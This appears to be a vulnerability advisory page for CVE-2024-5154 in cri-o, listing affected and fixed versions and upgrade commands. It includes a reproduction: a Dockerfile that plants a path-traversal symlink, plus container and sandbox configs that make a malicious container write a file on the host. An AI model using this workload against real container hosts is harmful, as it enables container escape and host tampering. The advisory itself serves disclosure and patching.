github.com/cri-o/cri-o
Affected
- introduced
1.28.6, fixed1.28.7(semver)
Fixed versions
1.28.7
Fix
- Fixed version
1.28.7go get github.com/cri-o/[email protected]
Advisory
Also known as: CVE-2024-5154, GO-2024-2919
malicious container creates symlink "mtab" on the host External
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
Patches
1.30.1, 1.29.5, 1.28.7
Workarounds
Unfortunately not
References
_Are there any links users can visit to find out more?_
High Basis: The source's own band: HIGH
1.28.6, fixed 1.28.7 (semver)1.28.7
1.28.7go get github.com/cri-o/[email protected]1.29.4, fixed 1.29.5 (semver)1.29.5
1.29.5go get github.com/cri-o/[email protected]1.30.0, fixed 1.30.1 (semver)1.30.1
1.30.1go get github.com/cri-o/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0